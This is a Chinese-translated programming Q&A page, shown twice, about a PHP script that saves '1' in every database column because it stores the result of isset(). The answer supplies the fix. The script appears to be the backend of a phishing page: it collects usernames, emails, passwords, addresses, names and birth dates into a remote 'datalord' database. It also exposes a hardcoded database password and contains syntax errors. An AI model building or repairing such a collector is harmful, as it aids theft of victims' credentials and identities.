Post数据到table:table中的所有数据显示为1
Post data to table: all data in table shows as 1
当传递 postdata 时,我的服务器上有下面的脚本 运行 数据库中的所有字段都包含数字 1 而不是我需要的数据
<?php
$servername = "localhost";
$username = "tadmin_admin";
$password = "Revolution1990#";
$dbname = "tadmin_datalord";
$db = new PDO( 'mysql:host=webpag.cu.cc;dbname=tadmin_datalord', $username, $password );
$ip = isset($_POST['ipaddress']);
$ip =strip_tags($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$useragent =strip_tags($useragent);
$username = isset($_POST['fpuser1']);
$username =strip_tags($username);
$email = isset($_POST['fpuser2']);
$email =strip_tags($email);
$password = isset($_POST['fpuser3']);
$password =strip_tags($password);
$passwordc = isset($_POST['fpuser4']);
$passwordc =strip_tags($passwordc);
$address = isset($_POST['address']);
$address =strip_tags($address);
$county = isset($_POST['county']);
$county =strip_tags($county);
$country = isset($_POST['country']);
$country =strip_tags($country);
$postcode = isset($_POST['postcode']);
$postcode =strip_tags($postcode);
$title = isset($_POST['title']);
$title =strip_tags($title);
$fname = isset($_POST['fname']);
$fname =strip_tags($fname);
$lname = isset($_POST['lname']);
$lname =strip_tags($lname);
$dob = isset($_POST['dob']);
$dob =strip_tags($dob);
$sql = "INSERT INTO liningdata ( userdata, ipaddress, username,email, password, passwordc , address, county, country, postcode, title,fname, lname, dob ) VALUES ( :useragent, :ip, :username, :email,:password, :passwordc, :address, :county,:country, :postcode, :title,:fname, :lname, :dob )";
$query = $db->prepare( $sql );
$query->execute( array( ':useragent'=>$useragent , ':ip'=>$ip ':username'=>$username , ':email'=>$email , ':password'=>$password':passwordc'=>$passwordc , ':address'=>$address ,':county'=>$county ,':country'=>$country , ':postcode'=>$postcode , ':title'=>$title ,':fname'=>$fname , ':lname'=>$lname , ':dob'=>$dob ) );
if ($query){
}
else{
}
?>
谁能帮我解决这个问题?我非常不明白为什么我的 table 在所有列中只包含数字 1
。
isset
return 1,所以你要改:
$ip = (isset($_POST['ipaddress']))?strip_tags($_POST['ipaddress']):'';
$useragent = strip_tags($_SERVER['HTTP_USER_AGENT']);
$username = (isset($_POST['fpuser1']))?strip_tags($_POST['fpuser1']):'';
等等...
当传递 postdata 时,我的服务器上有下面的脚本 运行 数据库中的所有字段都包含数字 1 而不是我需要的数据
<?php
$servername = "localhost";
$username = "tadmin_admin";
$password = "Revolution1990#";
$dbname = "tadmin_datalord";
$db = new PDO( 'mysql:host=webpag.cu.cc;dbname=tadmin_datalord', $username, $password );
$ip = isset($_POST['ipaddress']);
$ip =strip_tags($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$useragent =strip_tags($useragent);
$username = isset($_POST['fpuser1']);
$username =strip_tags($username);
$email = isset($_POST['fpuser2']);
$email =strip_tags($email);
$password = isset($_POST['fpuser3']);
$password =strip_tags($password);
$passwordc = isset($_POST['fpuser4']);
$passwordc =strip_tags($passwordc);
$address = isset($_POST['address']);
$address =strip_tags($address);
$county = isset($_POST['county']);
$county =strip_tags($county);
$country = isset($_POST['country']);
$country =strip_tags($country);
$postcode = isset($_POST['postcode']);
$postcode =strip_tags($postcode);
$title = isset($_POST['title']);
$title =strip_tags($title);
$fname = isset($_POST['fname']);
$fname =strip_tags($fname);
$lname = isset($_POST['lname']);
$lname =strip_tags($lname);
$dob = isset($_POST['dob']);
$dob =strip_tags($dob);
$sql = "INSERT INTO liningdata ( userdata, ipaddress, username,email, password, passwordc , address, county, country, postcode, title,fname, lname, dob ) VALUES ( :useragent, :ip, :username, :email,:password, :passwordc, :address, :county,:country, :postcode, :title,:fname, :lname, :dob )";
$query = $db->prepare( $sql );
$query->execute( array( ':useragent'=>$useragent , ':ip'=>$ip ':username'=>$username , ':email'=>$email , ':password'=>$password':passwordc'=>$passwordc , ':address'=>$address ,':county'=>$county ,':country'=>$country , ':postcode'=>$postcode , ':title'=>$title ,':fname'=>$fname , ':lname'=>$lname , ':dob'=>$dob ) );
if ($query){
}
else{
}
?>
谁能帮我解决这个问题?我非常不明白为什么我的 table 在所有列中只包含数字 1
。
isset
return 1,所以你要改:
$ip = (isset($_POST['ipaddress']))?strip_tags($_POST['ipaddress']):'';
$useragent = strip_tags($_SERVER['HTTP_USER_AGENT']);
$username = (isset($_POST['fpuser1']))?strip_tags($_POST['fpuser1']):'';
等等...